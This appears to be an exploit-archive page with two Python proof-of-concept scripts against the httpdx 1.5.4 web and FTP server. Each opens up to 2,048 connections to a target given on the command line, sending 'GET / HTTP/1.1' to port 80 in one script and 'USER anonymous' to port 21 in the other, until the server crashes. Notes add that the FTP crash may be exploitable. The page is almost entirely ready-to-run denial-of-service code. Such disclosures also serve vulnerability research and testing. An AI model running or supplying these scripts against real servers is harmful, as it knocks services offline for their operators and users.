httpdx 1.5.4 – Multiple Denial of Service Vulnerabilities (http-ftp) (PoC)
#!/usr/bin/env python ########################################################################### # # Title: httpdx v1.5.4 Remote HTTP Server DoS (0day) # By: Dr_IDE # Tested: XPSP3 # Download: http://httpdx.sourceforge.net # Note: Server will totally crash if only running the EXE # Note: Get a "ffs what happened?" message if running via BAT # ############################################################################ # # Debugging Notes: This may not be exploitable as it dumps on a read operation. # Upon crash throws: Access violation when reading [00001238] # ############################################################################ import socket, sys payload = ("GET / HTTP/1.1\r\n\r\n"); x=1; try: while (x < 2048): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print ("[*] Connecting to httpdx server."); s.connect((sys.argv[1], 80)); print ("\n[*] Sending command.\n"); s.send(payload); s.close(); x = x+1; except: print ("[*] Success! We crashed the server in %d attempts." % x); print ("[i] [pocoftheday.blogspot.com]"); ===================================================================================== #!/usr/bin/env python ########################################################################### # # Title: httpdx v1.5.4 Remote FTP Server DoS (0day) # By: Dr_IDE # Tested: XPSP3 # Download: http://httpdx.sourceforge.net # Note: Server will totally crash if only running the EXE # Note: Get a "ffs what happened?" message if running via BAT # ############################################################################ # # Debugging Notes: This may be exploitable as it dumps on a write operation. # Upon crash throws: Access violation when writing to [00230000] # ############################################################################ import socket, sys payload = ("USER anonymous\r\n\r\n"); x=1; try: while (x < 2048): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print ("[*] Connecting to httpdx server."); s.connect((sys.argv[1], 21)); print ("\n[*] Sending command.\n"); s.send(payload); s.close(); x = x+1; except: print ("[*] Success! We crashed the server in %d attempts." % x); print ("[i] [pocoftheday.blogspot.com]"); |